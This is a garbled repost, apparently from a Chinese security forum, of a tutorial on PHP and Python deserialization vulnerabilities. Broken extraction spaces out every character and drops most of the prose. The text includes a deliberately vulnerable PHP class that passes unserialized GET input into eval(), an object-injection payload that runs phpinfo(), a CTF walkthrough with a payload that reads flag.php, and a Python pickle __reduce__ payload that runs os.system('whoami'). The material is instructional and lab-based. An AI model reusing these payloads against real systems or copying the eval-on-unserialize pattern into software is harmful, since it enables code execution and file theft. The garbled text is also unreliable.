[18124] 2020-08-27_php和python反序列化漏洞分析

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2020-08-27_php和python反序列化漏洞分析 p h p p y t h o n z j u n   H A C K   2 0 2 0 - 0 8 - 2 7 西 0 x 0 1   P H P   p h p p y t h o n   ( S e r i a l i z a t i o n ) p h p _ _ s l e e p s e r i a l i z e ( ) _ _ s l e e p _ _ w a k e u p u n s e r i a l i z e ( ) _ _ w a k e u p _ _ c o n s t r u c t _ _ d e s t r u c t p h p 5 _ _ t o S t r i n g
< ? p h p c l a s s   S t u d e n t {         p u b l i c   $ n a m e   =   ' z j u n ' ;         p u b l i c   $ a g e   =   ' 1 9 ' ;         p u b l i c   f u n c t i o n   P r i n t V a r ( ) {                 e c h o   ' n a m e   ' . $ t h i s   - >   n a m e   .   ' ,   a g e   '   .   $ t h i s   - >   a g e   .   ' < b r > ' ;         }         p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( ) {                 e c h o   " _ _ c o n s t r u c t < b r > " ;         }         p u b l i c   f u n c t i o n   _ _ d e s t o r y ( ) {                 e c h o   " _ _ d e s t o r y < b r > " ;         }         p u b l i c   f u n c t i o n   _ _ t o S t r i n g ( ) {                 r e t u r n   " _ _ t o S t r i n g " ;         }         p u b l i c   f u n c t i o n   _ _ s l e e p ( ) {                 e c h o   " _ _ s l e e p < b r > " ;                 r e t u r n   a r r a y ( ' n a m e ' ,   ' a g e ' ) ;         }         p u b l i c   f u n c t i o n   _ _ w a k e u p ( ) {                 e c h o   " _ _ w a k e u p < b r > " ;         } } $ o b j   =   n e w   S t u d e n t ( ) ; $ o b j   - >   a g e   =   1 8 ; $ o b j   - >   n a m e   =   ' r e d e r ' ; $ o b j   - >   P r i n t V a r ( ) ; e c h o   $ o b j ; $ s _ s e r i a l i z e   =   s e r i a l i z e ( $ o b j ) ; e c h o   $ s _ s e r i a l i z e . ' < b r > ' ; $ u n s e r i   =   u n s e r i a l i z e ( $ s _ s e r i a l i z e ) ; $ u n s e r i   - >   P r i n t V a r ( ) ; ? > _ _ c o n s t r u c t n a m e   r e d e r ,   a g e   1 8 _ _ t o S t r i n g _ _ s l e e p O : 7 : " S t u d e n t " : 2 : { s : 4 : " n a m e " ; s : 5 : " r e d e r " ; s : 3 : " a g e " ; i : 1 8 ; } _ _ w a k e u p n a m e   r e d e r ,   a g e   1 8 p a y l o a d p h p s e s s i o n c o o k i e j s o n
< ? p h p         c l a s s   S t u d e n t {                 p u b l i c   $ n a m e   =   ' z j u n ' ;                 f u n c t i o n   G e t N a m e ( ) {                         r e t u r n   ' z j u n ' ;                 }         }         $ s   =   n e w   S t u d e n t ( ) ;         e c h o   $ s - > G e t N a m e ( ) . ' < b r > ' ;         $ s _ s e r i a l i z e   =   s e r i a l i z e ( $ s ) ;         e c h o   $ s _ s e r i a l i z e ; z j u n O : 7 : " S t u d e n t " : 1 : { s : 4 : " n a m e " ; s : 4 : " z j u n " ; } 西 j s o n x m l S t u d e n t n a m e G e t N a m e S t u d e n t G e t N a m e s e r i a l i z e ( ) O o b j e c t : 7 S t u d e n t 1 { } s s t r 4
< ? p h p         c l a s s   S t u d e n t {                 p u b l i c   $ n a m e   =   ' z j u n ' ;                 p r o t e c t e d   $ a g e   =   ' 1 9 ' ;                 p r i v a t e   $ w e i g h t   =   ' 5 3 ' ;                 f u n c t i o n   G e t N a m e ( ) {                         r e t u r n   ' z j u n ' ;                 }         }         $ s   =   n e w   S t u d e n t ( ) ;         e c h o   $ s - > G e t N a m e ( ) . ' < b r > ' ;         $ s _ s e r i a l i z e   =   s e r i a l i z e ( $ s ) ;         e c h o   $ s _ s e r i a l i z e ; z j u n O : 7 : " S t u d e n t " : 3 : { s : 4 : " n a m e " ; s : 4 : " z j u n " ; s : 6 : " * a g e " ; s : 2 : " 1 9 " ; s : 1 5 : " S t u d e n t w e i g h t " ; s : 2 : " 5 3 " ; } p u b l i c p r o t e c t e d p r i v a t e p u b l i c p r o t e c t e d * 6 x 0 0 + * + x 0 0 + p r i v a t e 1 5 x 0 0 + + x 0 0 + p h p
< ? p h p         c l a s s   S t u d e n t {                 p u b l i c   $ n a m e   =   ' z j u n ' ;                 f u n c t i o n   G e t N a m e ( ) {                         r e t u r n   ' z j u n ' ;                 }         }         $ S t u d e n t   =   ' O : 7 : " S t u d e n t " : 1 : { s : 4 : " n a m e " ; s : 4 : " z j u n " ; } ' ;         $ s _ u n s e r i a l i z e   =   u n s e r i a l i z e ( $ S t u d e n t ) ;         p r i n t _ r ( $ s _ u n s e r i a l i z e ) ; ? > S t u d e n t   O b j e c t   (   [ n a m e ]   = >   z j u n   ) < ? p h p c l a s s   S t u d e n t {         v a r   $ a ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 e c h o   ' _ _ c o n s t r u c t ' ;         }         f u n c t i o n   _ _ d e s t r u c t ( )   {                 $ t h i s - > a - > a c t i o n ( ) ;                 e c h o   ' o n e ' ;         } } c l a s s   o n e   {         v a r   $ b ;         f u n c t i o n   a c t i o n ( )   {                 e v a l ( $ t h i s - > b ) ;         } } $ c   =   n e w   S t u d e n t ( ) ; u n s e r i a l i z e ( $ _ G E T [ ' a ' ] ) ; ? > u n s e r i a l i z e ( ) S t u d e n t n a m e z j u n r c e _ _ c o n s t r u c t _ _ c o n s t r u c t n e w
< ? p h p c l a s s   S t u d e n t   {         v a r   $ a ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ t h i s - > a   =   n e w   o n e ( ) ;         } } c l a s s   o n e   {         v a r   $ b   =   " p h p i n f o ( ) ; " ; } e c h o   s e r i a l i z e ( n e w   S t u d e n t ( ) ) ; ? > O : 7 : " S t u d e n t " : 1 : { s : 1 : " a " ; O : 3 : " o n e " : 1 : { s : 1 : " b " ; s : 1 0 : " p h p i n f o ( ) ; " ; } }   2 0 2 0     A r e U S e r i a l z < ? p h p i n c l u d e ( " f l a g . p h p " ) ; h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; c l a s s   F i l e H a n d l e r   {         p r o t e c t e d   $ o p ;         p r o t e c t e d   $ f i l e n a m e ;         p r o t e c t e d   $ c o n t e n t ; _ _ d e s t r u c t a o n e
        f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ o p   =   " 1 " ;                 $ f i l e n a m e   =   " / t m p / t m p f i l e " ;                 $ c o n t e n t   =   " H e l l o   W o r l d ! " ;                 $ t h i s - > p r o c e s s ( ) ;         }         p u b l i c   f u n c t i o n   p r o c e s s ( )   {                 i f ( $ t h i s - > o p   = =   " 1 " )   {                         $ t h i s - > w r i t e ( ) ;                 }   e l s e   i f ( $ t h i s - > o p   = =   " 2 " )   {                         $ r e s   =   $ t h i s - > r e a d ( ) ;                         $ t h i s - > o u t p u t ( $ r e s ) ;                 }   e l s e   {                         $ t h i s - > o u t p u t ( " B a d   H a c k e r ! " ) ;                 }         }         p r i v a t e   f u n c t i o n   w r i t e ( )   {                 i f ( i s s e t ( $ t h i s - > f i l e n a m e )   & &   i s s e t ( $ t h i s - > c o n t e n t ) )   {                         i f ( s t r l e n ( ( s t r i n g ) $ t h i s - > c o n t e n t )   >   1 0 0 )   {                                 $ t h i s - > o u t p u t ( " T o o   l o n g ! " ) ;                                 d i e ( ) ;                         }                         $ r e s   =   f i l e _ p u t _ c o n t e n t s ( $ t h i s - > f i l e n a m e ,   $ t h i s - > c o n t e n t ) ;                         i f ( $ r e s )   $ t h i s - > o u t p u t ( " S u c c e s s f u l ! " ) ;                         e l s e   $ t h i s - > o u t p u t ( " F a i l e d ! " ) ;                 }   e l s e   {                         $ t h i s - > o u t p u t ( " F a i l e d ! " ) ;                 }         }         p r i v a t e   f u n c t i o n   r e a d ( )   {                 $ r e s   =   " " ;                 i f ( i s s e t ( $ t h i s - > f i l e n a m e ) )   {                         $ r e s   =   f i l e _ g e t _ c o n t e n t s ( $ t h i s - > f i l e n a m e ) ;                 }                 r e t u r n   $ r e s ;         }         p r i v a t e   f u n c t i o n   o u t p u t ( $ s )   {                 e c h o   " [ R e s u l t ] :   < b r > " ;                 e c h o   $ s ;         }         f u n c t i o n   _ _ d e s t r u c t ( )   {                 i f ( $ t h i s - > o p   = = =   " 2 " )                         $ t h i s - > o p   =   " 1 " ;                 $ t h i s - > c o n t e n t   =   " " ;                 $ t h i s - > p r o c e s s ( ) ;         } } f u n c t i o n   i s _ v a l i d ( $ s )   {         f o r ( $ i   =   0 ;   $ i   <   s t r l e n ( $ s ) ;   $ i + + )                 i f ( ! ( o r d ( $ s [ $ i ] )   > =   3 2   & &   o r d ( $ s [ $ i ] )   < =   1 2 5 ) )                         r e t u r n   f a l s e ;         r e t u r n   t r u e ;
} i f ( i s s e t ( $ _ G E T { ' s t r ' } ) )   {         $ s t r   =   ( s t r i n g ) $ _ G E T [ ' s t r ' ] ;         i f ( i s _ v a l i d ( $ s t r ) )   {                 $ o b j   =   u n s e r i a l i z e ( $ s t r ) ;         } } < ? p h p c l a s s   F i l e H a n d l e r   {         p u b l i c   $ o p   =   2 ;         p u b l i c   $ f i l e n a m e   =   " f l a g . p h p " ;         p u b l i c   $ c o n t e n t ; } $ a   =   n e w   F i l e H a n d l e r ( ) ; e c h o   s e r i a l i z e ( $ a ) . " n " ; ? s t r = O : 1 1 : " F i l e H a n d l e r " : 3 : { s : 2 : " o p " ; i : 2 ; s : 8 : " f i l e n a m e " ; s : 8 : " f l a g . p h p " ; s : 7 : " c o n t e n t " ; N ; } f l a g . p h p p r o c e s s ( ) o p = 2 r e a d ( ) f i l e _ g e t _ c o n t e n t s i s _ v a l i d ( ) p r o t e c t e d x 0 0 p h p 7 + p u b l i c i s _ v a l i d ( )
0 x 0 2   P Y T H O N p i c k l e i m p o r t   p i c k l e d i c t   =   { " n a m e " :   ' z j u n ' ,   " a g e " :   1 9 } a   =   p i c k l e . d u m p s ( d i c t ) p r i n t ( a ,   t y p e ( a ) ) b   =   p i c k l e . l o a d s ( a ) p r i n t ( b ,   t y p e ( b ) ) ( " ( d p 0 n S ' a g e ' n p 1 n I 1 9 n s S ' n a m e ' n p 2 n S ' z j u n ' n p 3 n s . " ,   < t y p e   ' s t r ' > ) ( { ' a g e ' :   1 9 ,   ' n a m e ' :   ' z j u n ' } ,   < t y p e   ' d i c t ' > ) j s o n i m p o r t   j s o n d i c t   =   { " n a m e " :   ' z j u n ' ,   " a g e " :   1 9 } a   =   j s o n . d u m p s ( d i c t ,   i n d e n t = 4 ) p r i n t ( a ,   t y p e ( a ) ) b   =   j s o n . l o a d s ( a ) p r i n t ( b ,   t y p e ( b ) ) p y t h o n p i c k l e j s o n p y t h o n j s o n p y t h o n 2 p y t h o n 3 p i c k l e . d u m p s p y t h o n 2 i n d e n t = 4
{         " n a m e " :   " z j u n " ,         " a g e " :   1 9 }   < c l a s s   ' s t r ' > { ' n a m e ' :   ' z j u n ' ,   ' a g e ' :   1 9 }   < c l a s s   ' d i c t ' > i m p o r t   p i c k l e i m p o r t   o s c l a s s   o b j ( o b j e c t ) :         d e f   _ _ r e d u c e _ _ ( s e l f ) :                 a   =   ' w h o a m i '                 r e t u r n   ( o s . s y s t e m ,   ( a ,   ) ) r   =   p i c k l e . d u m p s ( o b j ( ) ) p r i n t ( r ) p i c k l e . l o a d s ( r ) P y t h o n p i c k l e _ _ r e d u c e _ _
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则